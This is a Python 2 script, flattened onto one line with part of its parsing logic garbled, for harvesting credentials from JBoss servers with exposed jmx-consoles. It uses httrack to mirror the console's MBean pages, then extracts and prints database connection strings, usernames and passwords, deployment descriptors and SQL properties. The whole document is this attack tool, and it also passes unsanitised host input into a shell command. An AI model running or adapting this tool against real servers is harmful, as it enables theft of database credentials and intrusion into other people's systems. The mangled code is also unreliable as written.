import os,datetime,sys from BeautifulSoup import BeautifulSoup def usage(): print '%s []' % sys.argv[0] print '%s --offline [] - for offline extraction' % sys.argv[0] print '' print ' - can be \'conn\',\'dd\',\'sql\' or \'all\' (default is just conn)' print 'conn->ManagedConnectionFactoryProperties, dd->deploymentDescriptor, sql->SqlProperties' def listFiles(rootdir): fileList = [] for root, subFolders, files in os.walk(rootdir): for file in files: fileList.append(os.path.join(root,file)) return fileList if len(sys.argv) < 3 or sys.argv[1] in ['-h','--help']: usage() sys.exit() outputdir='' opts=['conn'] #,'dd','sql'] if not sys.argv[1] == '--offline': dt=datetime.datetime.now().strftime("%Y%m%dT%H%M%S") name=sys.argv[3] host=sys.argv[1] port=sys.argv[2] outputdir=name+'_'+dt if len(sys.argv) == 5: opts = sys.argv[4] print """ [+] Connection successfully established [+] Extracting java bullshit""" # TODO: link to debug os.system('httrack http://'+host+':'+str(port)+'/jmx-console/HtmlAdaptor?action=displayMBeans --clean --spider -d -w -Y -%u -p1 -O '+outputdir) else: outputdir=sys.argv[2] if len(sys.argv) == 4: opts = sys.argv[3] print '[+] Inspecting beans for selected options: %s...' % opts xmlItems=['deploymentDescriptor','ManagedConnectionFactoryProperties','SqlProperties'] for file in listFiles(outputdir): fileContents=open(file,'r').read() for xmlItem in xmlItems: if '')[0] px=BeautifulSoup(xml) if xmlItem == 'ManagedConnectionFactoryProperties' and ('conn' in opts or 'all' in opts): cps = px.findAll('config-property', text=True) if len(cps) > 2: print 'connection string: %s user: %s passwd: %s' % (cps[0],cps[2],cps[3]) elif xmlItem == 'deploymentDescriptor' and ('dd' in opts or 'all' in opts): cps = px.findAll('config-property', text=True) print cps elif xmlItem == 'SqlProperties' and ('sql' in opts or 'all' in opts): cps = px.findAll(text=True) print cps print '[+] done!'